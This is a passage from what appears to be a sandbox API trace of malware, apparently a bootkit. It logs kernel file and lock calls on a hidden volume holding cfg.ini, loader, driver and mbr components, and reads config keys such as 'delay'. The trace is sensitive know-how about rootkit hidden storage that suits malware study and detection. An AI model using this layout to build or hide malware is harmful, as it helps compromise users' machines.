(FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.507] KeLeaveCriticalRegion () [0124.507] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.507] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.507] KeEnterCriticalRegion () [0124.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.507] ExFreePoolWithTag (P=0xfffffa8003bf1f60, Tag=0x0) [0124.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.507] KeLeaveCriticalRegion () [0124.507] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.507] ReleaseMutex (hMutex=0xf0) returned 1 [0124.507] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.507] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.507] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.507] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.507] KeEnterCriticalRegion () [0124.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.507] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.507] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.507] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.507] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.507] IdePortDispatch () returned 0x103 [0124.508] KeWaitForMutexObject () returned 0x0 [0124.508] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.508] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.508] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.508] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.508] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.508] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.508] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.508] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.508] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.508] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.508] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.508] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.508] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.508] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.508] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.508] KeLeaveCriticalRegion () [0124.508] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.508] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.508] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.508] KeEnterCriticalRegion () [0124.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.508] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.508] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.508] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.508] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.508] IdePortDispatch () returned 0x103 [0124.508] KeWaitForMutexObject () returned 0x0 [0124.508] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.508] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.508] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.508] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.508] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.508] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.508] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.508] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.508] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.509] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.509] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.509] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.509] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.509] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.509] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.509] KeLeaveCriticalRegion () [0124.509] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.509] ReleaseMutex (hMutex=0x100) returned 1 [0124.509] Sleep (dwMilliseconds=0x2bf20) [0124.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d6a3710, dwHighDateTime=0x1d24fa4)) [0124.515] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.515] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.515] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.515] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.515] KeEnterCriticalRegion () [0124.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.515] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.515] IdePortDispatch () returned 0x103 [0124.515] KeWaitForMutexObject () returned 0x0 [0124.515] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.515] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.515] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.516] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.516] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.516] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf12e0 [0124.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.516] KeLeaveCriticalRegion () [0124.516] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.516] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.516] KeEnterCriticalRegion () [0124.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.516] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.516] KeLeaveCriticalRegion () [0124.516] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.516] KeEnterCriticalRegion () [0124.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.516] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.516] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.516] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.516] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.516] IdePortDispatch () returned 0x103 [0124.516] KeWaitForMutexObject () returned 0x0 [0124.516] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.516] KeLeaveCriticalRegion () [0124.516] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.516] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.516] KeEnterCriticalRegion () [0124.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.516] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800356f000 [0124.516] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.516] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.516] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.516] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.516] IdePortDispatch () returned 0x103 [0124.517] KeWaitForMutexObject () returned 0x0 [0124.517] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.517] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.517] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.517] IdePortDispatch () returned 0x103 [0124.517] KeWaitForMutexObject () returned 0x0 [0124.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.517] KeLeaveCriticalRegion () [0124.517] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.517] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.517] KeEnterCriticalRegion () [0124.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.517] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.517] KeLeaveCriticalRegion () [0124.518] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.518] KeEnterCriticalRegion () [0124.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.518] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.518] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.518] KeLeaveCriticalRegion () [0124.518] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.518] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.518] KeEnterCriticalRegion () [0124.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.518] ExFreePoolWithTag (P=0xfffffa8003bf12e0, Tag=0x0) [0124.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.518] KeLeaveCriticalRegion () [0124.518] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.518] ReleaseMutex (hMutex=0xf0) returned 1 [0124.518] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.518] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.518] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.518] KeEnterCriticalRegion () [0124.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.518] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.518] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.518] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.518] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.518] IdePortDispatch () returned 0x103 [0124.518] KeWaitForMutexObject () returned 0x0 [0124.518] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.518] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.518] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.518] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.518] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.518] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1640 [0124.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.518] KeLeaveCriticalRegion () [0124.518] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.519] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.519] KeEnterCriticalRegion () [0124.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.519] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.519] KeLeaveCriticalRegion () [0124.519] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.519] KeEnterCriticalRegion () [0124.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.519] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.519] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.519] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.519] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.519] IdePortDispatch () returned 0x103 [0124.519] KeWaitForMutexObject () returned 0x0 [0124.519] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.519] KeLeaveCriticalRegion () [0124.519] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.519] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.519] KeEnterCriticalRegion () [0124.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.519] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003570000 [0124.519] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.519] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.519] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.519] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.519] IdePortDispatch () returned 0x103 [0124.520] KeWaitForMutexObject () returned 0x0 [0124.520] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.520] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.520] IdePortDispatch () returned 0x103 [0124.521] KeWaitForMutexObject () returned 0x0 [0124.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.521] KeLeaveCriticalRegion () [0124.521] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.521] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.521] KeEnterCriticalRegion () [0124.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.521] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.521] KeLeaveCriticalRegion () [0124.521] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.522] KeEnterCriticalRegion () [0124.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.522] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.522] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.522] KeLeaveCriticalRegion () [0124.522] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.522] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.522] KeEnterCriticalRegion () [0124.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.522] ExFreePoolWithTag (P=0xfffffa8003bf1640, Tag=0x0) [0124.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.522] KeLeaveCriticalRegion () [0124.522] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.522] ReleaseMutex (hMutex=0xf0) returned 1 [0124.522] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.522] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.522] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.522] KeEnterCriticalRegion () [0124.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.522] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.522] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.522] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.522] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.522] IdePortDispatch () returned 0x103 [0124.522] KeWaitForMutexObject () returned 0x0 [0124.522] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.522] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.522] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.522] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.522] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.522] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1440 [0124.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.522] KeLeaveCriticalRegion () [0124.522] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.522] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.523] KeEnterCriticalRegion () [0124.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.523] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.523] KeLeaveCriticalRegion () [0124.523] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.523] KeEnterCriticalRegion () [0124.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.523] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.523] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.523] IdePortDispatch () returned 0x103 [0124.523] KeWaitForMutexObject () returned 0x0 [0124.523] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.523] KeLeaveCriticalRegion () [0124.523] IofCompleteRequest (Irp=0xfffffa8007ffba30, 